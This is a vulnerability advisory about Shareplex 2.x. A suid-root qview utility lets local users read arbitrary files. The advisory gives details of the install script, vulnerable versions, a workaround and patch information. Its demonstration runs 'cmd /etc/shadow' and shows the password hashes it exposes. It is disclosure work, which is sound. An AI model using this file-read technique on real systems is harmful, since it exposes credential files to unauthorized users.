splex.txt

` Security Hole in Shareplex 2.x  
------------------------------  
  
Summary   
-------  
  
Shareplex (Quest Software's product for Oracle database replication)  
contains a security hole which can allow local users to read any file on  
the system, effectively bypassing the permissions set at the OS level.   
  
Details  
-------  
  
One of the scripts called when the product is installed (root.post)  
contains the following block of code:   
  
update_permissions()  
{  
if get_mark marker OPT DIR; then  
:  
else  
get_mark marker OPT.$ORAVER DIR  
fi  
OD=$MARK  
  
chown root $OD/bin/sp_cop  
chmod 4555 $OD/bin/sp_cop  
  
chown root $OD/bin/CleanSP  
chmod 4550 $OD/bin/CleanSP  
  
chown root $OD/bin/qview  
chmod 4555 $OD/bin/qview  
  
...  
  
chown root $OD/install/splex_remove_script  
chmod 4555 $OD/install/splex_remove_script  
  
get_mark rootpre SPLEX GROUP  
SPLEX_GROUP=$MARK  
chgrp $SPLEX_GROUP $MARKERFILE  
chown root $MARKERFILE  
chmod o-w $MARKERFILE  
}  
  
This assigns ownership of several application binaries to root, and then  
sets permissions on them to read & execute by everyone, and suid to root.  
The qview utility, which is used for cleaning out queues amongst other  
things, is one of the tools which is installed mode 4555. It has a feature  
which can compromise system security when executed with superuser  
privileges.  
  
qview's cmd command (which is used to execute qview commands stored in a  
file) opens any user-specified file and attempts to execute each line the  
file contains. Any errors encountered are echoed to standard output. A  
user who can execute qview can use this behavior to read files on the  
system to which they do not legitimately have access. As the target file  
will contain data other than qview commands, that data will be echoed out  
to stdout along with error messages.  
  
I did not attempt a comprehensive audit of this product. There are a lot  
of utilities installed suid-root, and this may not be the only one that  
contains vulnerabilities.   
  
Demonstration   
-------------  
  
$ id  
uid=500(foo) gid=200(bar)  
$ cd <path to shareplex binaries>  
$ ./qview  
qdump> cmd /etc/shadow  
Executing: root:xDmyz1K9xRKRo:11236::::::  
invalid command root:xDmyz1K9xRKRo:11236::::::  
...  
Executing: splex:BdJCfh1D32hzo:11290::::::  
invalid command splex:BdJCfh1D32hzo:11290::::::  
Executing: foo:2MQXUgAcnOcEU:11344::::::  
invalid command foo:2MQXUgAcnOcEU:11344::::::  
qdump> quit  
$   
  
Vulnerable Versions  
-------------------  
  
The same version of root.post is shipped for each of the supported unixes  
(Solaris 2.6, HP/UX 10.20 & 11.00, AIX 3 and OSF/1 4.0). I would expect  
qview to display the same behavior on each of these OSes, but I tested  
only on Solaris 2.6.   
  
I tested Shareplex 2.1.3.9 and 2.2.2 (Beta, 11/02/00).   
  
Workaround  
----------  
  
As currently implemented, qview needs to run as root in order to operate  
correctly. However, the risk can be somewhat mitigated by changing the  
permissions on qview to 4550, and making it group-owned by a group  
containing only highly-trusted users. This is not a complete solution to  
the problem, as any user who is still allowed to run qview can still  
access files to which they should not have access under any circumstances  
(such as the shadow file).   
  
Vendor Notification/Patches  
---------------------------  
  
The vendor was notified on 2/2/2001.  
  
The issue is patched in SharePlex 2.1.3.21 and above. The patched version of  
qview seems to remove the offending fuctionality completely.   
`